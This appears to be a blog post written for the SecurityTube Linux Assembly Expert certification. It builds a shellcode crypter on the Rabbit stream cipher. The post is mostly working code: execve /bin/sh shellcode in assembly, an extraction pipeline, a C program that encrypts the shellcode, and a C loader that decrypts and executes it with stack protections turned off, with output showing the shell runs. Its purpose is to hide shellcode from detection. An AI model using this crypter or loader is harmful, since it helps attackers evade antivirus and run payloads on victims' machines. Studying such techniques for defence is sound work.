Rabbit Shellcode Crypter

In this post I will introduce custom shellcode crypter based on Rabbit cipher.

Introduction to Rabbit cipher

Rabbit cipher is stream synchronous symmetric cipher using 128-bit key and 64-bit initialization vector. It was developed in 2003 by Martin Boesgaard, Mette Vesterager, Thomas Christensen and Erik Zenner. Source code was released in 2008. This cipher is used mainly in embedded devices, RFID and sensor networks because it’s lightweight and power consumption effective.

I will use Rabbit C library developed in ECRYPT II project and simple stack execve shellcode.

/bin/sh execve shellcode

Assembly code for executing /bin/sh via system call is

; File: execve-stack.nasm

global _start

section .text
_start:

	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 11
	int 0x80

Compile .nasm file into object file(1)

$ nasm -f elf32 -o execve-stack.o execve-stack.nasm

Create binary file from object file

$ ld -o execve-stack execve-stack.o

Check for null bytes(2)

$ objdump -M intel -d execve-stack | grep 00

Extract shellcode from binary

$ objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

We get following short shellcode

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Encryption

For encryption I will use open source ECRYPT II C rabbit library.

// File: encrypt2rabbit.c
// Author: Petr Javorik

#include <string.h>
#include <stdio.h>
#include "rabbit/code/rabbit.c"

// Unencrypted shellcode
unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
// Encryption key must be exactly 16 bytes
char key[16] = {'s', 'o', 'm', 'e', 'e', 'n', 'c', 'r', 'y', 'p', 't', 'k', 'e', 'y', 'y', 'y'};


int main()
{
    // Initialize ECRYPT library
    ECRYPT_init();
    // ctx is object containing settings and state of encryption engine
    ECRYPT_ctx ctx;
    // Load key
    ECRYPT_keysetup(&ctx, key, 128, 0);
    // Encrypt
    u8 encrypted[200];
    int codeLen = strlen(code);
    ECRYPT_process_bytes(0, &ctx, code, encrypted, codeLen);

    // Print result
    int i;
    printf("Encryption Key = ");
    for (i=0; i<16; i++)
        printf("%c", key[i]);
    printf("\n");

    printf("Original       = ");
    for (i=0; i<codeLen; i++)
        printf("\\x%02x", code[i]);
    printf("\n");

    printf("Encrypted      = ");
    for (i=0; i<codeLen; i++)
        printf("\\x%02x", encrypted[i]);
    printf ("\n");

    return 0;
}

If we compile and run encrypt2rabbit.c we get encrypted shellcode and encryption/decryption key

$ gcc encrypt2rabbit.c -o encrypt2rabbit
$ ./encrypt2rabbit
Encryption Key = someencryptkeyyy
Original = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Encrypted = \x7f\xaf\xa4\x1e\xb7\x11\x1e\x89\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30

Decryption and execution

Program for shellcode decryption and execution is very similar to encrypt2rabbit.c since the Rabbit is symmetric cipher but additionally it contains execution code

// File: decryptAndExecute.c
// Author: Petr Javorik

#include <string.h>
#include <stdio.h>
#include "rabbit/code/rabbit.c"

// Encrypted shellcode
unsigned char encrypted[] = \
"\x7f\xaf\xa4\x1e\xb7\x11\x1e\x89\xd5\x56\x95\x03\x7a\x4b\x07\x0b\x94\xf8\xd4\x86\x3d\xbc\x4c\xa3\x30";


int main(int argc, char **argv)
{
    // Initialize ECRYPT library
    ECRYPT_init();
    // ctx is object containing settings and state of encryption engine
    ECRYPT_ctx ctx;
    // Load key
    ECRYPT_keysetup(&ctx, argv[1], 128, 0);
    // Decrypt
    u8 decrypted[200];
    int codeLen = strlen(encrypted);
    ECRYPT_process_bytes(0, &ctx, encrypted, decrypted, codeLen);
    // Execute
    int (*DecryptedFun)() = (int(*)())decrypted;
    DecryptedFun();
}

Compiling and running decryptAndExecute.c with encryption/decryption key as first argument we get /bin/sh executed

$ gcc -fno-stack-protector -z execstack decryptAndExecute.c -o decryptAndExecute
$ ./decryptAndExecute someencryptkeyyy
$ whoami
maple

(1) Object file contains low level instructions which can be understood by the CPU. That is why it is also called machine code. This low level machine code is the binary representation of the instructions so it can be disassembled by objectdump. Object file is not directly executable.

(2) Shellcode must be free of null bytes because they are used as C string terminators in many C functions. Leaving null bytes in shellcode can lead to undefined shellcode behaviour and hard-to-find bugs.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE-1443

Leave a Reply